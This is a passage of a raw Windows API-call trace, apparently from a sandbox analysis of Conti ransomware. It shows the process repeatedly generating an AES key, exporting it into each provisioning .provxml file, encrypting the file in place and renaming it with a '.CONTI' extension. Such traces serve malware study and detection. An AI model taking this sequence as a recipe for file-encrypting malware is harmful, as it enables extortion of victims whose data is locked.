	[0113.627] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\633__Connections_Cellular_Solo (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\633__connections_cellular_solo (canada)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.628] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\633__Connections_Cellular_Solo (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\633__connections_cellular_solo (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0113.628] GetLastError () returned 0x0
	[0113.628] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=703) returned 1
	[0113.628] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2bf
	[0113.628] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.628] SetEndOfFile (hFile=0x378) returned 1
	[0113.628] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.628] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.628] WriteFile (in: hFile=0x378, lpBuffer=0x65c2e3c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x65c2e3c*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0113.635] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.635] ReadFile (in: hFile=0x378, lpBuffer=0xee90000, nNumberOfBytesToRead=0x2bf, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x2bf, lpOverlapped=0x0) returned 1
	[0113.635] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2bf, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2c0) returned 1
	[0113.635] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.635] WriteFile (in: hFile=0x378, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x2c0, lpOverlapped=0x0) returned 1
	[0113.635] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.635] WriteFile (in: hFile=0x378, lpBuffer=0x65c2e30*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x65c2e30*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0113.635] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.635] CloseHandle (hObject=0x378) returned 1
	[0113.635] GetProcessHeap () returned 0x1720000
	[0113.635] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.635] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\633__Connections_Cellular_Solo (Canada)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\633__Connections_Cellular_Solo (Canada)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\633__Connections_Cellular_Solo (Canada)_i0$(__MVID)@WAP.provxml"
	[0113.635] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\633__Connections_Cellular_Solo (Canada)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\633__Connections_Cellular_Solo (Canada)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\633__Connections_Cellular_Solo (Canada)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.635] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\633__Connections_Cellular_Solo (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\633__connections_cellular_solo (canada)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\633__Connections_Cellular_Solo (Canada)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\633__connections_cellular_solo (canada)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.636] GetProcessHeap () returned 0x1720000
	[0113.636] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.636] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0113.636] GetProcessHeap () returned 0x1720000
	[0113.636] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cdfa8 | out: hHeap=0x1720000) returned 1
	[0113.637] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0113.637] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x65c39a0 | out: phKey=0x65c39a0*=0x17c8330) returned 1
	[0113.637] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c39a4, pdwDataLen=0x50ff91c | out: pbData=0x65c39a4*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0113.637] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\635__Connections_Cellular_3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\635__connections_cellular_3 (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.638] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\635__Connections_Cellular_3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\635__connections_cellular_3 (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0113.638] GetLastError () returned 0x0
	[0113.638] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=704) returned 1
	[0113.638] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c0
	[0113.638] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.638] SetEndOfFile (hFile=0x378) returned 1
	[0113.638] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.638] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.638] WriteFile (in: hFile=0x378, lpBuffer=0x65c39a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x65c39a4*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0113.651] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.651] ReadFile (in: hFile=0x378, lpBuffer=0xee90000, nNumberOfBytesToRead=0x2c0, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x2c0, lpOverlapped=0x0) returned 1
	[0113.651] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2c0, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2d0) returned 1
	[0113.651] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.651] WriteFile (in: hFile=0x378, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.652] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.652] WriteFile (in: hFile=0x378, lpBuffer=0x65c3998*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x65c3998*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0113.652] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.652] CloseHandle (hObject=0x378) returned 1
	[0113.652] GetProcessHeap () returned 0x1720000
	[0113.652] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.652] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\635__Connections_Cellular_3 (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\635__Connections_Cellular_3 (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\635__Connections_Cellular_3 (United Kingdom)_i0$(__MVID)@WAP.provxml"
	[0113.652] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\635__Connections_Cellular_3 (United Kingdom)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\635__Connections_Cellular_3 (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\635__Connections_Cellular_3 (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.652] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\635__Connections_Cellular_3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\635__connections_cellular_3 (united kingdom)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\635__Connections_Cellular_3 (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\635__connections_cellular_3 (united kingdom)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.653] GetProcessHeap () returned 0x1720000
	[0113.653] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.653] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0113.653] GetProcessHeap () returned 0x1720000
	[0113.653] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c63a0 | out: hHeap=0x1720000) returned 1
	[0113.653] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0113.654] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x65c1520 | out: phKey=0x65c1520*=0x17c8330) returned 1
	[0113.654] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c1524, pdwDataLen=0x50ff91c | out: pbData=0x65c1524*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0113.654] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\637__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\637__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0113.654] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\637__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\637__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0113.655] GetLastError () returned 0x0
	[0113.655] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=448) returned 1
	[0113.655] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1c0
	[0113.655] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.655] SetEndOfFile (hFile=0x378) returned 1
	[0113.657] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.657] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.658] WriteFile (in: hFile=0x378, lpBuffer=0x65c1524*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x65c1524*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0113.664] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.664] ReadFile (in: hFile=0x378, lpBuffer=0xee90000, nNumberOfBytesToRead=0x1c0, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x1c0, lpOverlapped=0x0) returned 1
	[0113.664] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x1c0, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x1d0) returned 1
	[0113.664] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.664] WriteFile (in: hFile=0x378, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x1d0, lpOverlapped=0x0) returned 1
	[0113.664] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.664] WriteFile (in: hFile=0x378, lpBuffer=0x65c1518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x65c1518*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0113.664] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.664] CloseHandle (hObject=0x378) returned 1
	[0113.664] GetProcessHeap () returned 0x1720000
	[0113.664] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.665] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\637__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\637__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\637__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0113.665] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\637__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\637__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\637__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0113.665] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\637__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\637__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\637__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\637__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0113.665] GetProcessHeap () returned 0x1720000
	[0113.665] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.665] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0113.665] GetProcessHeap () returned 0x1720000
	[0113.665] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x18180d8 | out: hHeap=0x1720000) returned 1
	[0113.665] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0113.665] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17d5430 | out: phKey=0x17d5430*=0x17c8330) returned 1
	[0113.665] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5434, pdwDataLen=0x50ff91c | out: pbData=0x17d5434*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0113.666] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\639__Connections_Cellular_Mico-P - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\639__connections_cellular_mico-p - 3 (united kingdom)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0113.666] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\639__Connections_Cellular_Mico-P - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\639__connections_cellular_mico-p - 3 (united kingdom)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0113.667] GetLastError () returned 0x0
	[0113.667] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=717) returned 1
	[0113.667] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cd
	[0113.667] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.667] SetEndOfFile (hFile=0x378) returned 1
	[0113.667] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.667] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.667] WriteFile (in: hFile=0x378, lpBuffer=0x17d5434*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x17d5434*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0113.677] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.677] ReadFile (in: hFile=0x378, lpBuffer=0xee90000, nNumberOfBytesToRead=0x2cd, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x2cd, lpOverlapped=0x0) returned 1
	[0113.677] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2cd, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2d0) returned 1
	[0113.677] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.677] WriteFile (in: hFile=0x378, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.677] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.677] WriteFile (in: hFile=0x378, lpBuffer=0x17d5428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x17d5428*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0113.677] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.677] CloseHandle (hObject=0x378) returned 1
	[0113.677] GetProcessHeap () returned 0x1720000
	[0113.678] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.678] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\639__Connections_Cellular_Mico-P - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\639__Connections_Cellular_Mico-P - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\639__Connections_Cellular_Mico-P - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml"
